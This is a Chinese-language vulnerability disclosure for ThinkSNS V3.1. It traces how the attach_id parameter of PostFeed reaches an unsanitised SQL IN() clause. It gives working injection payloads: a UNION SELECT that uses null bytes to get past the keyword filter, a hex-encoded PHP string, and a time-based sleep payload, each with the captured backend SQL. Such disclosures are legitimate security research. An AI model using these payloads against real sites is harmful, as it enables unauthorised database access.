### 简要描述: ThinkSNS 防御绕过2 ### 详细说明: 这个代码跟的我好辛苦啊: ``` public function PostFeed() { // 返回数据格式 $return = array('status'=>1, 'data'=>''); // 用户发送内容 $d['content'] = isset($_POST['content']) ? filter_keyword(h($_POST['content'])) : ''; // 原始数据内容 $d['body'] = filter_keyword($_POST['body']); // 安全过滤 foreach($_POST as $key => $val) { $_POST[$key] = t($_POST[$key]); } $d['source_url'] = urldecode($_POST['source_url']); //应用分享到微博,原资源链接 // 滤掉话题两端的空白 $d['body'] = preg_replace("/#[\s]*([^#^\s][^#]*[^#^\s])[\s]*#/is",'#'.trim("\${1}").'#',$d['body']); // 附件信息 $d['attach_id'] = trim(t($_POST['attach_id']), "|"); if ( !empty($d['attach_id']) ){ $d['attach_id'] = explode('|', $d['attach_id']); array_map( 'intval' , $d['attach_id'] ); } // 发送微博的类型 $type = t($_POST['type']); // 所属应用名称 $app = isset($_POST['app_name']) ? t($_POST['app_name']) : APP_NAME;// 当前动态产生所属的应用 $data = model('Feed')->put($this->uid, $app, $type, $d); ``` 跟进去put: ``` public function put($uid, $app = 'public', $type = '', $data =...
### 简要描述: ThinkSNS 防御绕过2 ### 详细说明: 这个代码跟的我好辛苦啊: ``` public function PostFeed() { // 返回数据格式 $return = array('status'=>1, 'data'=>''); // 用户发送内容 $d['content'] = isset($_POST['content']) ? filter_keyword(h($_POST['content'])) : ''; // 原始数据内容 $d['body'] = filter_keyword($_POST['body']); // 安全过滤 foreach($_POST as $key => $val) { $_POST[$key] = t($_POST[$key]); } $d['source_url'] = urldecode($_POST['source_url']); //应用分享到微博,原资源链接 // 滤掉话题两端的空白 $d['body'] = preg_replace("/#[\s]*([^#^\s][^#]*[^#^\s])[\s]*#/is",'#'.trim("\${1}").'#',$d['body']); // 附件信息 $d['attach_id'] = trim(t($_POST['attach_id']), "|"); if ( !empty($d['attach_id']) ){ $d['attach_id'] = explode('|', $d['attach_id']); array_map( 'intval' , $d['attach_id'] ); } // 发送微博的类型 $type = t($_POST['type']); // 所属应用名称 $app = isset($_POST['app_name']) ? t($_POST['app_name']) : APP_NAME;// 当前动态产生所属的应用 $data = model('Feed')->put($this->uid, $app, $type, $d); ``` 跟进去put: ``` public function put($uid, $app = 'public', $type = '', $data = array(), $app_id = 0, $app_table = 'feed', $extUid = null, $lessUids = null, $isAtMe = true, $is_repost = 0) { if(false && isSubmitLocked()){ $this->error = '发布内容过于频繁,请稍后再试'; return false; } // 判断数据的正确性 if(!$uid || $type == '') { $this->error = L('PUBLIC_ADMIN_OPRETING_ERROR'); return false; } if ( strpos( $type , 'postvideo' ) !== false ){ $type = 'postvideo'; } //微博类型合法性验证 - 临时解决方案 if ( !in_array( $type , array('post','repost','postvideo','postfile','postimage','weiba_post','weiba_repost') )){ $type = 'post'; } //应用类型验证 用于分享框 - 临时解决方案 if ( !in_array( $app , array('w3g','public','weiba','tipoff') ) ){ $app = 'public'; $type = 'post'; $app_table = 'feed'; } $app_table = strtolower($app_table); // 添加feed表记录 $data['uid'] = $uid; $data['app'] = $app; $data['type'] = $type; $data['app_row_id'] = $app_id; $data['app_row_table'] = $app_table; $data['publish_time'] = time(); $data['from'] = isset($data['from']) ? intval($data['from']) : getVisitorClient(); $data['is_del'] = $data['comment_count'] = $data['repost_count'] = 0; $data['is_repost'] = $is_repost; //判断是否先审后发 $weiboSet = model('Xdata')->get('admin_Config:feed'); $weibo_premission = $weiboSet['weibo_premission']; if(in_array('audit',$weibo_premission) || CheckPermission('core_normal','feed_audit')){ $data['is_audit'] = 0; }else{ $data['is_audit'] = 1; } // 微博内容处理 if(Addons::requireHooks('weibo_publish_content')){ Addons::hook("weibo_publish_content",array(&$data)); }else{ $content = $this->formatFeedContent($data['body']); $data['body'] = $content['body']; $data['content'] = $content['content']; } //分享到微博的应用资源,加入原资源链接 $data['body'] .= $data['source_url']; $data['content'] .= $data['source_url']; // 微博类型插件钩子 // if($type){ // $addonsData = array(); // Addons::hook("weibo_type",array("typeId"=>$type,"typeData"=>$type_data,"result"=>&$addonsData)); // $data = array_merge($data,$addonsData); // } if( $type == 'postvideo' ){ $typedata = model('Video')->_weiboTypePublish( $_POST['videourl'] ); if ( $typedata && $typedata['flashvar'] && $typedata['flashimg'] ){ $data = array_merge( $data , $typedata ); } else { $data['type'] = 'post'; } } // 添加微博信息 $feed_id = $this->data($data)->add(); if(!$feed_id) return false; if(!$data['is_audit']){ $touid = D('user_group_link')->where('user_group_id=1')->field('uid')->findAll(); foreach($touid as $k=>$v){ model('Notify')->sendNotify($v['uid'], 'feed_audit'); } } // 目前处理方案格式化数据 $data['content'] = str_replace(chr(31), '', $data['content']); $data['body'] = str_replace(chr(31), '', $data['body']); // 添加关联数据 $feed_data = D('FeedData')->data(array('feed_id'=>$feed_id,'feed_data'=>serialize($data),'client_ip'=>get_client_ip(),'feed_content'=>$data['body']))->add(); // 添加微博成功后 if($feed_id && $feed_data) { //锁定发布 lockSubmit(); //微博发布成功后的钩子 //Addons::hook("weibo_publish_after",array('weibo_id'=>$feed_id,'post'=>$data)); // 发送通知消息 - 重点 - 需要简化把上节点的信息去掉. if($data['is_repost'] == 1) { // 转发微博 $isAtMe && $content = $data['content'];// 内容用户 $extUid[] = $data['sourceInfo']['transpond_data']['uid'];// 资源作者用户 if($isAtMe && !empty($data['curid'])) { // 上节点用户 $appRowData = $this->get($data['curid']); $extUid[] = $appRowData['uid']; } } else { // 其他微博 $content = $data['content']; //更新最近@的人 model( 'Atme' )->updateRecentAt( $content );// 内容用户 } // 发送@消息 model('Atme')->setAppName('Public')->setAppTable('feed')->addAtme($content, $feed_id, $extUid, $lessUids); ``` 再跟进去addAtme: ``` public function addAtme($content, $row_id, $extra_uids = null, $less_uids = null) { // 去除重复,空值与自己 $extra_uids = array_diff($extra_uids, array($GLOBALS['ts']['mid'])); $extra_uids = array_unique($extra_uids); $extra_uids = array_filter($extra_uids); $less_uids[] = $GLOBALS['ts']['mid']; $less_uids = array_unique($less_uids); $less_uids = array_filter($less_uids); // 获取@用户的UID数组 $uids = $this->getUids($content, $extra_uids, $row_id, $less_uids); ``` 继续跟进getUids: ``` public function getUids($content, $extra_uids = null, $row_id, $less_uids = null) { // 正则匹配内容 preg_match_all($this->_at_regex, $content, $matches); $unames = $matches[1]; $map = "uname in ('".implode("','",$unames)."')"; $ulist = model('User')->where($map)->field('uid')->findall(); $matchuids = getSubByKey($ulist,'uid'); // 如果内容匹配中没有用户 if(empty($matchuids) && !empty($extra_uids)) { // 去除@用户ID if(!empty($less_uids)) { foreach($less_uids as $k => $v) { if(in_array($v, $extra_uids)) { unset($extra_uids[$k]); } } } return is_array($extra_uids) ? $extra_uids : array($extra_uids); } // 如果匹配内容中存在用户 $suid = array(); foreach($matchuids as $v) { !in_array($v, $suid) && $suid[] = (int)$v; } // 去除@用户ID if(!empty($less_uids)) { foreach($suid as $k => $v) { if(in_array($v, $less_uids)) { unset($suid[$k]); } } } // 发邮件流程 $author = model('User')->getUserInfo($GLOBALS['ts']['mid']); $content = model('Source')->getSourceInfo($this->_app_table, $row_id, false, $this->_app); ``` 再看看getSourceInfo: ``` public function getSourceInfo($table, $row_id, $_forApi = false, $appname = 'public') { static $forApi = '0'; $forApi == '0' && $forApi = intval ( $_forApi ); $key = $forApi ? $table . $row_id . '_api' : $table . $row_id; if ($info = static_cache ( 'source_info_' . $key )) { return $info; } switch ($table) { case 'feed' : $info = $this->getInfoFromFeed ( $table, $row_id, $_forApi ); ``` 再跟进去getInfoFromFeed : ``` private function getInfoFromFeed($table, $row_id, $forApi) { $info = model ( 'Feed' )->getFeedInfo ( $row_id, $forApi ); ``` 再跟进getFeedInfo: ``` public function getFeedInfo($id, $forApi = false) { $data = model( 'Cache' )->get( 'feed_info_'.$id ); if ( $data !== false && ($forApi === false || ($forApi === true && isset($data['iscoll'])) ) ){ return $data; } $map['a.feed_id'] = $id; // //过滤已删除的微博 wap 版收藏 // if($forApi){ // $map['a.is_del'] = 0; // } $data = $this->where($map) ->table("{$this->tablePrefix}feed AS a LEFT JOIN {$this->tablePrefix}feed_data AS b ON a.feed_id = b.feed_id ") ->find(); $fd = unserialize($data['feed_data']); $userInfo = model('User')->getUserInfo($data['uid']); $data['ctime'] = date('Y-m-d H:i',$data['publish_time']); $data['content'] = $forApi ? parseForApi($fd['body']):$fd['body']; $data['uname'] = $userInfo['uname']; $data['user_group'] = $userInfo['api_user_group']; $data['avatar_big'] = $userInfo['avatar_big']; $data['avatar_middle'] = $userInfo['avatar_middle']; $data['avatar_small'] = $userInfo['avatar_small']; unset($data['feed_data']); // 微博转发 if($data['type'] == 'repost'){ $data['transpond_id'] = $data['app_row_id']; $data['transpond_data'] = $this->getFeedInfo($data['transpond_id'], $forApi); } // 附件处理 if(!empty($fd['attach_id'])) { $data['has_attach'] = 1; $attach = model('Attach')->getAttachByIds($fd['attach_id']); ``` 第一步: $fd = unserialize($data['feed_data']); 第二步: $attach = model('Attach')->getAttachByIds($fd['attach_id']); 这时候 在跟进到getAttachByIds 这里面: ``` public function getAttachByIds($ids, $field = '*') { if(empty($ids)) { return false; } !is_array($ids) && $ids = explode(',', $ids); $map['attach_id'] =array('IN', $ids); $data = $this->where($map)->field($field)->findAll(); return $data; } ``` 造成一个看起来和二次注意一样的,但是又没有任何限制的注入: 构造url: http://localhost/ThinkSNS_V3.1_20131108_28822/index.php?app=public&mod=Feed&act=PostFeed postdata: type=xxxxx&content=yyyy&body=xxxx&source_url=xxxx&attach_id=1)) uni%00on select 0x273c3f70687020706870696e666f28293f3e27 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 fro%00m `ts_attach` # 后台抓取的sql: 2015/2/5 20:48SELECT * FROM `ts_attach` WHERE ( `attach_id` IN (1)) union select 0x273c3f70687020706870696e666f28293f3e27 ,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from `ts_attach` #) ) 触发漏洞条件 1.注册一个普通用户 2.refresh只要是本站就可以我们设置为http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed 3.为了明显期间我们采用延时盲注进行测试 发送url: http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed postdata: type=xxxxx&content=yyyy&body=xxxx&source_url=xxxx&attach_id=1)) uni%00on sele%00ct sle%00ep(1%2f10),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 fro%00m `ts_attach` # referer: http://localhost:8081/ThinkSNS/index.php?app=public&mod=Feed&act=PostFeed 后台抓取sql为: 2015/3/2 13:22SELECT * FROM `ts_attach` WHERE ( `attach_id` IN (1)) union select sleep(1/10),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from `ts_attach` #) ) ### 漏洞证明: